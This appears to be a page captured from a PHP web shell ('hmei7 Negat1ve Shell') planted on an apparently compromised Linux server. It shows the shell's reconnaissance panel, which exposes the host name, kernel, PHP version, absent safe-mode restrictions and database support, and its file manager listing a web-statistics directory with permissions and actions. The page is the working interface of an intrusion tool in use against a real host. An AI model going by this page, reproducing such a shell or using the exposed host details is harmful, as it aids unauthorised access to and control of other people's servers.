hmei7 Negat1ve Shell
Server Information
Operating System : Linux vps.sugoinomnombox.com 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
PHP Version : 8.1.34
Storage : Total = 244.91 GB, Free = 133.83 GB [54%]
Disable Functions : All function is accessible
CURL : ON | SSH2 : OFF | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : OFF | Oracle : OFF
Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE
Path
[ 0700 >> drwx------ ]
Files Manager
Name Type Size Last Modified Owner/Group Permission Action
. dir -- 2026-03-17 07:09:23 sugoi3/sugoi3 0700 >> drwx------
.. dir -- 2025-03-28 07:11:19 sugoi3/sugoi3 0700 >> drwx------
ctry_usage_202503.... image/png 3.22 KB 2025-04-01 07:19:21 sugoi3/sugoi3 0644 >> -rw-r--r--
ctry_usage_202504.... image/png 4.14 KB 2025-05-01 07:11:56 sugoi3/sugoi3 0644 >> -rw-r--r--
ctry_usage_202505.... image/png 5.76 KB 2025-06-01 07:09:17 sugoi3/sugoi3 0644 >> -rw-r--r--
ctry_usage_202506.... image/png 5.54 KB 2025-07-01 07:14:17 sugoi3/sugoi3 0644 >> -rw-r--r--
ctry_usage_202507.... image/png 5.7 KB 2025-08-01 07:03:40 sugoi3/sugoi3 0644 >> -rw-r--r--
ctry_usage_202508.... image/png 5.69 KB 2025-09-01 07:05:59 sugoi3/sugoi3 0644 >> -rw-r--r--
ctry_usage_202509.... image/png 5.67 KB 2025-10-01 07:17:11 sugoi3/sugoi3 0644 >> -rw-r--r--
ctry_usage_202510.... image/png 5.48 KB 2025-11-01 07:09:32 sugoi3/sugoi3 0644 >> -rw-r--r--
ctry_usage_202511.... image/png 5.23 KB 2025-12-31 04:09:52 sugoi3/sugoi3 0644 >> -rw-r--r--
ctry_usage_202512.... image/png 5.47 KB 2026-01-01 04:10:09 sugoi3/sugoi3 0644 >> -rw-r--r--
ctry_usage_202601.... image/png 3.58 KB 2026-02-01 07:04:19 sugoi3/sugoi3 0644 >> -rw-r--r--
ctry_usage_202602.... image/png 4.66 KB 2026-03-01 07:08:43 sugoi3/sugoi3 0644 >> -rw-r--r--
ctry_usage_202603.... image/png 3.82 KB 2026-03-17 07:09:23 sugoi3/sugoi3 0644 >> -rw-r--r--
daily_usage_202503... image/png 2.78 KB 2025-04-01 07:19:21 sugoi3/sugoi3 0644 >> -rw-r--r--
daily_usage_202504... image/png 3.76 KB 2025-05-01 07:11:56 sugoi3/sugoi3 0644 >> -rw-r--r--
daily_usage_202505... image/png 3.4 KB 2025-06-01 07:09:17 sugoi3/sugoi3 0644 >> -rw-r--r--
daily_usage_202506... image/png 3.46 KB 2025-07-01 07:14:17 sugoi3/sugoi3 0644 >> -rw-r--r--
daily_usage_202507... image/png 3.53 KB 2025-08-01 07:03:40 sugoi3/sugoi3 0644 >> -rw-r--r--
daily_usage_202508... image/png 3.9 KB 2025-09-01 07:05:59 sugoi3/sugoi3 0644 >> -rw-r--r--
daily_usage_202509... image/png 3.77 KB 2025-10-01 07:17:11 sugoi3/sugoi3 0644 >> -rw-r--r--
daily_usage_202510... image/png 3.75 KB 2025-11-01 07:09:32 sugoi3/sugoi3 0644 >> -rw-r--r--
daily_usage_202511... image/png 3.77 KB 2025-12-31 04:09:52 sugoi3/sugoi3 0644 >> -rw-r--r--
daily_usage_202512... image/png 2.54 KB 2026-01-01 04:10:09 sugoi3/sugoi3 0644 >> -rw-r--r--
daily_usage_202601... image/png 3.84 KB 2026-02-01 07:04:19 sugoi3/sugoi3 0644 >> -rw-r--r--
daily_usage_202602... image/png 3.84 KB 2026-03-01 07:08:43 sugoi3/sugoi3 0644 >> -rw-r--r--
daily_usage_202603... image/png 3.53 KB 2026-03-17 07:09:23 sugoi3/sugoi3 0644 >> -rw-r--r--
dns_cache.db application/octet-... 1.28 MB 2026-03-17 07:09:23 sugoi3/sugoi3 0644 >> -rw-r--r--
hourly_usage_20250... image/png 2.09 KB 2025-04-01 07:19:21 sugoi3/sugoi3 0644 >> -rw-r--r--
hourly_usage_20250... image/png 2.08 KB 2025-05-01 07:11:56 sugoi3/sugoi3 0644 >> -rw-r--r--
hourly_usage_20250... image/png 2.14 KB 2025-06-01 07:09:17 sugoi3/sugoi3 0644 >> -rw-r--r--
hourly_usage_20250... image/png 2.19 KB 2025-07-01 07:14:17 sugoi3/sugoi3 0644 >> -rw-r--r--
hourly_usage_20250... image/png 2.17 KB 2025-08-01 07:03:40 sugoi3/sugoi3 0644 >> -rw-r--r--
hourly_usage_20250... image/png 2.24 KB 2025-09-01 07:05:59 sugoi3/sugoi3 0644 >> -rw-r--r--
hourly_usage_20250... image/png 2.11 KB 2025-10-01 07:17:11 sugoi3/sugoi3 0644 >> -rw-r--r--
hourly_usage_20251... image/png 2.22 KB 2025-11-01 07:09:32 sugoi3/sugoi3 0644 >> -rw-r--r--
hourly_usage_20251... image/png 2.12 KB 2025-12-31 04:09:52 sugoi3/sugoi3 0644 >> -rw-r--r--
hourly_usage_20251... image/png 1.9 KB 2026-01-01 04:10:09 sugoi3/sugoi3 0644 >> -rw-r--r--
hourly_usage_20260... image/png 2.07 KB 2026-02-01 07:04:19 sugoi3/sugoi3 0644 >> -rw-r--r--
hourly_usage_20260... image/png 2.24 KB 2026-03-01 07:08:43 sugoi3/sugoi3 0644 >> -rw-r--r--
hourly_usage_20260... image/png 2.13 KB 2026-03-17 07:09:23 sugoi3/sugoi3 0644 >> -rw-r--r--
index.html text/html 9.86 KB 2026-03-17 07:09:23 sugoi3/sugoi3 0644 >> -rw-r--r--
usage.png image/png 2.93 KB 2026-03-17 07:09:23 sugoi3/sugoi3 0644 >> -rw-r--r--
usage_202503.html text/html 122.71 KB 2025-04-01 07:19:21 sugoi3/sugoi3 0644 >> -rw-r--r--
usage_202504.html text/html 175.54 KB 2025-05-01 07:11:56 sugoi3/sugoi3 0644 >> -rw-r--r--
usage_202505.html text/html 158.47 KB 2025-06-01 07:09:17 sugoi3/sugoi3 0644 >> -rw-r--r--
usage_202506.html text/html 151.82 KB 2025-07-01 07:14:17 sugoi3/sugoi3 0644 >> -rw-r--r--
usage_202507.html text/html 161.1 KB 2025-08-01 07:03:40 sugoi3/sugoi3 0644 >> -rw-r--r--
usage_202508.html text/html 129.38 KB 2025-09-01 07:05:59 sugoi3/sugoi3 0644 >> -rw-r--r--
usage_202509.html text/html 170.26 KB 2025-10-01 07:17:11 sugoi3/sugoi3 0644 >> -rw-r--r--
usage_202510.html text/html 174.21 KB 2025-11-01 07:09:32 sugoi3/sugoi3 0644 >> -rw-r--r--
usage_202511.html text/html 129.11 KB 2025-12-31 04:09:52 sugoi3/sugoi3 0644 >> -rw-r--r--
usage_202512.html text/html 95.28 KB 2026-01-01 04:10:09 sugoi3/sugoi3 0644 >> -rw-r--r--
usage_202601.html text/html 158.02 KB 2026-02-01 07:04:19 sugoi3/sugoi3 0644 >> -rw-r--r--
usage_202602.html text/html 148.72 KB 2026-03-01 07:08:43 sugoi3/sugoi3 0644 >> -rw-r--r--
usage_202603.html text/html 163.88 KB 2026-03-17 07:09:23 sugoi3/sugoi3 0644 >> -rw-r--r--
webalizer.current text/plain 265.74 KB 2026-03-17 07:09:23 sugoi3/sugoi3 0644 >> -rw-r--r--
webalizer.hist text/plain 3.08 KB 2026-03-17 07:09:23 sugoi3/sugoi3 0644 >> -rw-r--r--
Copyright negat1ve1337@gmail.com Coded by Negat1ve